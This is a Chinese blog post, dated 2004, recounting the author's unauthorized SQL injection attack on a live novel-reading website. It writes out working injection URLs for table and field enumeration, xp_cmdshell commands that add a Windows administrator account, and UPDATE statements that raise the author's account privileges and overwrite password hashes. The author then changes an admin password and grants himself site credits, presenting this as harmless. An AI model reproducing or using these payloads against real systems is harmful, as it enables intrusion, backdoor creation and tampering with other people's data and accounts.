[原创]对一个网络小说站点的Sql Injection

本文记录了一次SQL注入攻击的过程,从发现注入点到利用SQL注入获取数据库信息,并尝试提权等操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本人酷爱看小说,尤其是武侠。近年来大师纷纷封笔,只好找网上的玄幻YYXX小说看了。废话少说,一天逛到一个书站,发现其URL http://www.*.net/book.asp?i=2319存在注入漏洞,而且也没有屏蔽返回信息(其实还是屏蔽了,后面就可以看到,这是开始时的错误判断),

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/book.asp,行11


呵呵,真是这个INJECTION时代少见的极品啊。

 

加“'” 加“;” 加 and 1=1 加 and 1=2 都成功了。

下面猜表,

http://www.*.net/book.asp?i=2319 and (select count(*) from TABLE)>0       //确定表名

恩,猜到两个一个是NEWS,一个是USERS。


接下来猜字段:

http://www.*.net/book.asp?i=2319 and (select Count(FIELD) from TABLE)>0 //确定字段名

得到字段user

才获得如此少的信息远远不够,还是用“暴”力手段吧。

http://www.*.net/book.asp?i=2319 and (select count(*) from msysobjects)>0 //返回错误页面,不是ACCESS数据库。

http://www.*.net/book.asp?i=2319 and (select count(*) from sysobjects)>0 //返回成功,证明使用的是SQL数据库。

http://www.*.net/book.asp?i=2319 and (select top 1 name from sysobjects where xtype='u' and status>0)  

http://www.*.net/book.asp?i=2319 and (select top 1 name from sysobjects where xtype=char(85) and status>0)     //返回错误信息如下....


Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/book.asp,行11

 


.........晕,暴不出来.....


看看连接用户
http://www.*.net/book.asp?i=2319 and user>0


Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/book.asp,行11


一样的结果,看来暴库可以放弃了。

 

用榕哥的wed.exe试试看.....

呵呵,果然厉害,得到结果如下:

user is dbo             //??怎么把SA跑出来了。
pwd is f5b527705a610f3a     //晕,16位,MD5。

用工具跑一下MD5看看吧。.................漫长的等待..........期间用superscan扫描了一下网站主机.......靠...只开了21 25 80 110,那我还跑什么密码啊,还要58634792104分钟呢。用SQL连接器也连接不上。(按道理来说,使用SQL数据库是必然的,为什么扫不到1433端口呢,估计是虚拟主机,外面的IP是堡垒主机的,其内部才开放1433端口,这是我的猜想,不知道具体情况的呢,哪位能解释一下,不胜感激。)


既然外部手段不行,试试内部的吧。


http://www.*.net/book.asp?i=2319%20;exec%20master..xp_cmdshell%20"net%20user%20hkbyest 123456 /add"--   //添加用户

.......没返回错误信息,那就继续

http://www.*.net/book.asp?i=2319%20;exec%20master..xp_cmdshell%20"net localgroup administrators hkbyest /add"--

也成功了。但是连接不上机器,不知道能做什么.......

(其实我也不知道到底命令成功了没有,因为我试用命令ping我自己的ip,防火墙却没有反应)


此路不通,再找另外一条走吧。


现在我们知道了表USERS,用户字段user,密码字段pwd,还是不够,注册一个用户上去看看能不能cookie欺骗。

实践证明cookie欺骗行不通,但是我另有发现。一般大家猜表猜字段凭的多是经验,或者直接暴,有时也在注册登陆页面看源代码找,我试过了,注册和登陆页面的用户密码字段和数据库用户表里的是不一样的,可能是分开放了吧。我的发现就是在cookie里根据cookie值找字段名,嘿嘿,还真的被我找到了几个呢。
pw=1&wn=...&ui=84444&bmb=&pwd=49ba59abbe56e057&pt=&bm=100&un=hkbyest&uti=

到了现在,我分析一下思路,注入的目的是获得管理员用户密码进入后台控制网站,现在连不了1433,可以获得管理员的用户密码,但是密码被MD5加密了,暴力破解需要大量的时间,肯定不能接受。既然这样,那我们直接提升自己为管理员吧。

http://www.*.net/book.asp?i=2319 and exists (select user from users where un='hkbyest')   //确定用户


http://www.*.net/book.asp?i=2319;update users set pw=100 where un='hkbyest';--   //网页下方显示已经是管理员登陆了,但是没有什么权限。估计不止一个值来判断是否管理员。那我们找一个管理员来登陆试试看看cookie里有什么不同。

 

 

修改密码:


把密码123456转换成MD5值49ba59abbe56e057


http://www.*.net/book.asp?i=2319;update users set pwd=49ba59abbe56e057 where un='hkbyest';--   //失败


http://www.*.net/book.asp?i=2319;update users set pwd='49ba59abbe56e057' where un='hkbyest';-- //WELL DONE。测试成功,下面我们可以修改管理员的密码了。

 

用管理员登陆后发现cookie里多了几个判断是否管理人员的值,注入到了这里基本上就可以结束了,毕竟我的目的不是获得网站控制权限。那可以使用另外的手段譬如溢出工具。

 

不过.............好不容易搞了那么久总不能空手而回吧,就帮自己加点积分好了,想必也不是什么过分的事情,谁叫他新的小说要用积分来看呢,嘿嘿。

 


2004-09-30 17:28

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值